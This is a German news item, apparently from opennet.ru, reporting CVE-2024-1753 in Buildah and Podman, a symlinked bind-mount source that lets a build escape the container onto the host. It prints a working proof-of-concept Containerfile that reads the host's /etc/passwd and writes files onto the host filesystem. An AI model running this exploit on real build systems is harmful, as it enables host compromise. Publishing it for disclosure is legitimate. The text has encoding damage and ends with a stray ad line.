Eine Schwachstelle in Buildah und Podman ermöglicht es, die Isolation des Containers zu umgehen.

In den Paketen Buildah und Podman wurde eine SicherheitsanfĂ€lligkeit (CVE-2024-1753) entdeckt, die den vollstĂ€ndigen Zugriff auf das Dateisystem der Host-Umgebung wĂ€hrend des Container-Bauprozesses mit Root-Rechten ermöglicht. Auf Systemen mit aktiviertem SELinux wird der Zugriff auf das Host-Dateisystem auf den Nur-Lesen-Modus beschrĂ€nkt. Ein Fix ist derzeit als Patch verfĂŒgbar, der vor wenigen Minuten in den Buildah-Code ĂŒbernommen wurde.

Die SicherheitsanfĂ€lligkeit entsteht dadurch, dass beim AusfĂŒhren von Mount-Operationen ĂŒber den Befehl „mount —bind“ wĂ€hrend des RUN-Prozesses das Argument mit dem Quellverzeichnis (Parameter „source=“) nicht auf das Vorhandensein im Root-Dateisystem ĂŒberprĂŒft wird. Eine vom Angreifer manipulierte Containerfile-Konfiguration kann ein Container-Image verwenden, bei dem das Quellverzeichnis fĂŒr die Bindung als symbolischer Link auf das Root-Dateisystem dargestellt ist. In diesem Fall wird die Mount-Operation dazu fĂŒhren, dass das Root-Dateisystem der Host-Umgebung in den Container gemountet wird, was den vollstĂ€ndigen Zugriff auf das Dateisystem der Host-Umgebung wĂ€hrend des RUN-Prozesses ermöglicht und einen Ausstieg aus dem Container wĂ€hrend des Bauprozesses ĂŒber die Befehle „buildah build“ oder „podman build“ erlaubt.

Ein Beispiel fĂŒr eine bösartige Containerfile, deren Bau mit dem Befehl „podman build -f ~/Containerfile .“ dazu fĂŒhrt, dass der Inhalt von /etc/passwd angezeigt wird und die Dateien /BIND_BREAKEOUT und /etc/BIND_BREAKOUT2 im Host-Umfeld erstellt werden: FROM alpine as base RUN ln -s / /rootdir RUN ln -s /etc /etc2 FROM alpine RUN echo „ls container root“ RUN ls -l / RUN echo „Mit dem Exploit zeige den Host-Root, nicht den Root des Containers, und erstelle /BIND_BREAKOUT in / auf dem Host“ RUN —mount=type=bind,from=base,source=/rootdir,destination=/exploit,rw ls -l /exploit; touch /exploit/BIND_BREAKOUT; ls -l /exploit RUN echo „Mit dem Exploit zeige den Host /etc/passwd, nicht den des Containers, und erstelle /BIND_BREAKOUT2 in /etc auf dem Host“ RUN —mount=type=bind,rw,source=/etc2,destination=/etc2,from=base ls -l /; ls -l /etc2/passwd; cat /etc2/passwd; touch /etc2/BIND_BREAKOUT2; ls -l /etc2

Quelle: opennet.ru

60GB SSD 8Gb DDR4